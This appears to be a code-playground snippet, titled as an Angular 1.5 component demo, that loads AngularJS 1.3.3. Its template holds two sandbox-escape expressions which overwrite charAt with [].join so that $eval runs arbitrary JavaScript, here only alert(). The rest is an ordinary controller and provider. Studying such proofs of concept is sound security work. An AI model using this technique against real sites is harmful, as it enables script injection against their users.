Angular 1.5 component demo

by Ian Hickey

HTML

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.3.3/angular.js"></script>
<div ng-app="demoApp" ng-controller="MainController">
<pre>
  As literal object: {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(`Evaluated Object Literal`)');}}
OR:
   As Array: {{x = [''.constructor.prototype]; x[0].charAt=[].join; $eval('x=alert(`Evaluated Array`)');}}
</pre>

</div>

JavaScript

var xyzApi = xyzApi || {
	sayHello: function() {
  	return "hey there\n";
  }
};

angular.module('demoApp', [])
	.controller('MainController', MainController)
  .provider('xyzApi', function XyzApiProvider() {
  
  this.$get = function() {
  
  	var xyzApiFactory = {
      otherFunction: function() {
        //$log.log('other function called');
        return '';
      }
  	};
    
    return xyzApiFactory;
  };
});


function MainController(xyzApi) {
	var vm = this;
  vm.test = '';
  
	vm.sayHello = function() {
  	vm.test += xyzApi.sayHello() + xyzApi.otherFunction();
  }
}